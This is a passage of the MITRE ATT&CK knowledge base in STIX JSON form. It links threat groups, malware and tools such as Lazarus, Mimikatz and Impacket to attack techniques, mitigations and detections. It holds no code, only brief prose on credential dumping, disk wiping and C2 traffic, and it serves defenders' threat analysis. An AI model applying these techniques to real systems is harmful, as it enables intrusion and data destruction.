PowerShell backdoor to check for Skype connectivity on the target machine.(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77c5bb7d-9584-4d57-850b-6349984181a8", "type": "relationship", "created": "2020-02-12T15:05:04.394Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T14:15:07.098Z", "description": "Require multi-factor authentication for SSH connections wherever possible, such as password protected SSH keys.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77c63e89-71fe-47e3-babb-13e7722932ad", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto MoonWind March 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-16T17:16:53.396Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the victim's current time.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77cd972c-459f-4cac-ae21-3cc1a96df09e", "type": "relationship", "created": "2019-04-12T15:55:48.141Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.572Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom secure delete function to make deleted files unrecoverable.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Bankshot Dec 2017", "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}], "modified": "2020-02-18T03:40:29.927Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for certain Registry keys to be configured before executing the payload.(Citation: US-CERT Bankshot Dec 2017)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--77d30a4e-d267-4416-85f2-edebc0a6af29", "created": "2022-10-13T16:10:14.855Z", "revoked": false, "external_references": [{"source_name": "NCC Group TA505", "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. 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(2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}, {"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. 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Retrieved September 20, 2021."}], "modified": "2021-10-13T21:54:51.831Z", "description": "[EKANS](https://attack.mitre.org/software/S0605) can determine the domain of a compromised host.(Citation: IBM Ransomware Trends September 2020)", "relationship_type": "uses", "source_ref": "malware--00e7d565-9883-4ee5-b642-8fd17fd6a3f5", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--786cf397-d548-48c1-9ba6-9af66450928c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. 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Retrieved September 16, 2019."}], "modified": "2019-09-16T19:41:10.199Z", "description": "[More_eggs](https://attack.mitre.org/software/S0284) can remove itself from a system.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)", "relationship_type": "uses", "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78731c00-1f22-4dab-a3cd-d19fac57e82f", "type": "relationship", "created": "2020-05-21T14:55:00.279Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. 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Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.279Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has monitored files' modified time.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78775a68-6973-43b1-a3d9-a1c9c93c5a3f", "type": "relationship", "created": "2019-02-19T19:17:15.153Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "LOLBAS Expand", "url": "https://lolbas-project.github.io/lolbas/Binaries/Expand/", "description": "LOLBAS. (n.d.). Expand.exe. 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The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}, {"source_name": "ESET Gamaredon June 2020", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}], "modified": "2020-06-22T17:54:16.016Z", "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--788ec1d9-9192-46c9-8bc3-7397ccb854df", "type": "relationship", "created": "2020-07-01T18:30:55.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Chaos Stolen Backdoor", "description": "Sebastian Feldmann. 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Retrieved March 1, 2021."}], "modified": "2021-03-01T21:55:30.004Z", "description": "[Pysa](https://attack.mitre.org/software/S0583) has used RSA and AES-CBC encryption algorithm to encrypt a list of targeted file extensions.(Citation: CERT-FR PYSA April 2020) ", "relationship_type": "uses", "source_ref": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78968b8c-61ed-44d9-835c-05eb5b2ab169", "type": "relationship", "created": "2020-10-20T03:23:24.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:28:44.677Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7898362c-a930-4cd4-9c94-019a253af141", "type": "relationship", "created": "2020-05-06T21:31:07.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.334Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) has used base64 to encode C2 communication.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--789a2c4e-9152-4b83-a275-58f6b5262a81", "type": "relationship", "created": "2020-02-20T18:50:53.666Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-25T15:17:30.874Z", "description": "Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--789b89f3-0f5e-4e3d-92fd-76611e840947", "type": "relationship", "created": "2021-06-30T14:53:26.903Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-30T14:53:26.903Z", "description": "(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. 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Retrieved March 18, 2022."}], "modified": "2022-03-22T15:32:50.203Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has performed  frequent and scheduled data exfiltration from compromised networks.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78adc73a-0f8c-498e-9451-7f9081f81595", "type": "relationship", "created": "2021-10-14T22:58:54.484Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. 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Retrieved October 5, 2021."}], "modified": "2021-10-17T17:04:33.239Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses RC4 encryption over TCP to communicate with its C2 server.(Citation: trendmicro xcsset xcode project 2020)  ", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78af537b-48cc-411d-a209-3e01c44aa87b", "type": "relationship", "created": "2020-03-26T20:27:44.220Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T12:18:31.209Z", "description": "Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78b31fa7-10ef-4c28-888e-71da978e9e81", "type": "relationship", "created": "2020-03-15T16:21:45.233Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-21T16:35:45.749Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. 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Retrieved April 5, 2021."}], "modified": "2021-04-09T15:11:37.249Z", "description": "[Hildegard](https://attack.mitre.org/software/S0601) has modified DNS resolvers to evade DNS monitoring tools.(Citation: Unit 42 Hildegard Malware)", "relationship_type": "uses", "source_ref": "malware--40a1b8ec-7295-416c-a6b1-68181d86f120", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78ba82a1-e803-42c1-b112-ce999369d348", "type": "relationship", "created": "2020-11-30T15:35:49.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). 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Retrieved June 15, 2021."}], "modified": "2021-06-21T20:54:59.391Z", "description": "The [Bazar](https://attack.mitre.org/software/S0534) loader has named malicious shortcuts \"adobe\" and mimicked communications software.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78bde505-a353-4cae-a978-f87de382f3fd", "type": "relationship", "created": "2020-10-01T00:44:24.068Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T00:44:24.068Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "target_ref": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--78c0b480-23c1-4de7-867e-d4e9ef4c8df6", "created": "2022-04-09T15:08:39.047Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Check Point Meteor Aug 2021", "url": "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/", "description": "Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can change both the desktop wallpaper and the lock screen image to a custom image.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-10T17:06:34.940Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78c889da-e1e2-4230-a91d-9934627fecf6", "type": "relationship", "created": "2020-03-19T22:40:09.367Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}], "modified": "2020-11-23T17:03:38.972Z", "description": "[CozyCar](https://attack.mitre.org/software/S0046) has executed [Mimikatz](https://attack.mitre.org/software/S0002) to harvest stored credentials from the victim and further victim penetration.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--78ca7fcf-95b9-485c-a87b-2ac083312885", "created": "2019-04-12T16:59:08.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster Destructive Malware", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.(Citation: Novetta Blockbuster Destructive Malware)", "modified": "2022-07-28T18:55:36.008Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78da5fc8-6f66-43a5-8ad4-c9c79b506408", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-16T16:57:38.877Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) contains a custom keylogger.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--78daa7e5-f5e5-452b-a7fd-cece272294fd", "created": "2020-03-19T23:01:00.203Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Impacket Tools", "url": "https://www.secureauth.com/labs/open-source-tools/impacket", "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)", "modified": "2022-04-19T21:06:46.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78dcc48d-546c-459d-a4b2-a7a120d5afbf", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor for newly constructed .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources ", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78debfd5-eeb1-4432-85f1-787fe3ffb977", "type": "relationship", "created": "2021-03-01T14:07:36.914Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}], "modified": "2021-03-02T18:15:56.540Z", "description": "[LookBack](https://attack.mitre.org/software/S0582)\u2019s C2 proxy tool sends data to a C2 server over HTTP.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78e4027f-b5ff-4cb3-8b27-ab931baf3476", "type": "relationship", "created": "2021-02-23T20:50:33.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Conficker", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm", "description": "Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}], "modified": "2021-10-14T16:53:14.448Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) variants spread through NetBIOS share propagation.(Citation: SANS Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--78e5db72-54db-4c89-85ac-66cac1bddb9c", "type": "relationship", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.864Z", "description": "Monitor executed commands and arguments that may modify plist files to automatically run an application when a user logs in.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--78e60e86-72a0-4966-a1b9-19a76102d78f", "created": "2019-06-30T22:50:18.699Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro TropicTrooper 2015", "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", "url": "https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:24:22.265Z", "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) uses HTTP for C2.(Citation: TrendMicro TropicTrooper 2015)", "relationship_type": "uses", "source_ref": 